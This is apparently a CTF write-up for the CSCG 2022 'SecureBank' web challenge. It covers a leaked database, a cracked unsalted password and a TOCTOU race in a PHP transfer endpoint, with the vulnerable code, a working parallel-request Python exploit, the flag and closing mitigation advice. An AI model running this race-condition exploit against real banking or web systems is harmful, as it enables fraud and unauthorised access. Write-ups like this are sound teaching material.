Securebank - Web

Category	Web
CTF	CSCG 2022
Solves	15
Points	281

Solution

The *SecureBank* website welcomes you with a login screen without any way to create a new account. After looking into the provided source code for a long time, I figured, that we are able to just download the database file under `securebank.challenge.master.cscg.live:31337/bank.db`.

With the help of https://crackstation.net/, I cracked the password for `john` really quickly - `johndoe` – a pretty bad password + no salting.

Now the challenge actually starts. Our objective is, to get more than 25 bucks into John's `Savings Acccount`. The only problem: all of his accounts combined are just 20$, so we have to somehow get more money into the system.

The vulnerability lies in the `includes/transfer.php` file:

1. We are checking, whether the account we transfer from holds enough money
2. We do an action that takes a long time (300_000 hashes)
3. We transfer the money

```
  $stmt = $db->prepare("SELECT balance FROM accounts WHERE account_number =
:source_account_number;");
    $stmt->bindParam(':source_account_number', $_POST["source"], SQLITE3_TEXT);
    $result = $stmt->execute();
    $current_balance = $result->fetchArray(SQLITE3_ASSOC)["balance"];
    // Here we chec, whether the account holds enough money
    if ($current_balance < $amount) {
        return "Insufficient funds";
    }
    $db->close();

    $source_account_number = $_POST["source"];
    $destination_account_number = $_POST["destination"];
      // This takes a long time (in the seconds)
    $timestamp = time();
    $hash = $amount . $source_account_number . $destination_account_number . $timestamp;
    for ($i = 0; $i < 3000000; $i++) {
        $hash = sha1($hash);
    }

    $db = open_db();
    $stmt = $db->prepare("INSERT INTO transactions (amount, source_account_number,
destination_account_number, timestamp, hash)
    VALUES (:amount, :source_account_number, :destination_account_number, :timestamp, :hash)");
    $stmt->bindParam(':amount', $amount, SQLITE3_INTEGER);
    $stmt->bindParam(':source_account_number', $source_account_number, SQLITE3_TEXT);
    $stmt->bindParam(':destination_account_number', $destination_account_number, SQLITE3_TEXT);
    $stmt->bindParam(':timestamp', $timestamp, SQLITE3_INTEGER);
    $stmt->bindParam(':hash', $hash, SQLITE3_TEXT);
    $stmt->execute();
    // And here we are actually transferring the money
    $new_balance = $current_balance - $amount;
    $stmt = $db->prepare("UPDATE accounts SET balance=:balance WHERE account_number =
:account_number");
    $stmt->bindParam(':balance', $new_balance, SQLITE3_INTEGER);
    $stmt->bindParam(':account_number', $_POST["source"], SQLITE3_TEXT);
    $stmt->execute();
```

This kind of problem is known as **TOCTOU**, or written out *Time of Check to Time of Use*.

So how do we go about exploiting it?

– Just make two quick, subsequent transactions from the same account.

Both will pass the check, since when the second transaction-request arrives, the money is still on the account, and then both will be put onto the savings account, resulting in more than

enough money to get the promotion and thereby the flag! The only tricky part was the fact, that we have to do this using two different php-sessions, since else some kind of locking will prevent us from abusing the vulnerability, but that is not enough to stop us.

Be ready for some ugly CTF-Code!

```python
#!/usr/bin/env python3
import requests
from multiprocessing import Process


def runInParallel(*fns):
    proc = []
    for fn in fns:
        p = Process(target=fn)
        p.start()
        proc.append(p)
    for p in proc:
        p.join()

DOMAIN = "https://SESSION_ID-securebank.challenge.master.cscg.live:31337/"
PHP_SESSID_COOKIE = None

def login():
    r = requests.get(DOMAIN)
    php_sess = r.cookies
    requests.post(DOMAIN,data={"username":"john", "password":"johndoe"},cookies=r.cookies)
    return php_sess

PHP_SESSID_COOKIE = login()

# I want to make two transactions to the same account twice from the same
# account
def transfer_x_bucks(x,to_cible=True):
    PHP_SESSID_COOKIE = login()
    dst = "EU88SECB00051380017"
    src = "EU42SECB00051380016"

    if not to_cible:
        dst,src = src,dst

    resp = requests.post(DOMAIN+"index.php?page=transfer", cookies=PHP_SESSID_COOKIE,
             data={"destination":dst, "source":src,"amount":x})
    if "Transaction completed" in resp.text:
        print("Success!")
    else:
        print("Failure!")


normal_func = lambda: transfer_x_bucks(10,True)

runInParallel(normal_func,normal_func,normal_func,normal_func)
```

For this to work, there has to be at least 10 bucks on the transactions account.

If you run the above code and then visit `/promotion`, you are prompted with a sweet, new flag:

CSCG{Inf1niteMon3y}

How to prevent the Exploitation

1. Don't leak your database to the world (never put it in a publicly visible folder)
2. Use stronger passwords – not `johndoe` if you are `john`
3. Use a lock when doing transactions, so that only transaction may be processed at a time, preventing race conditions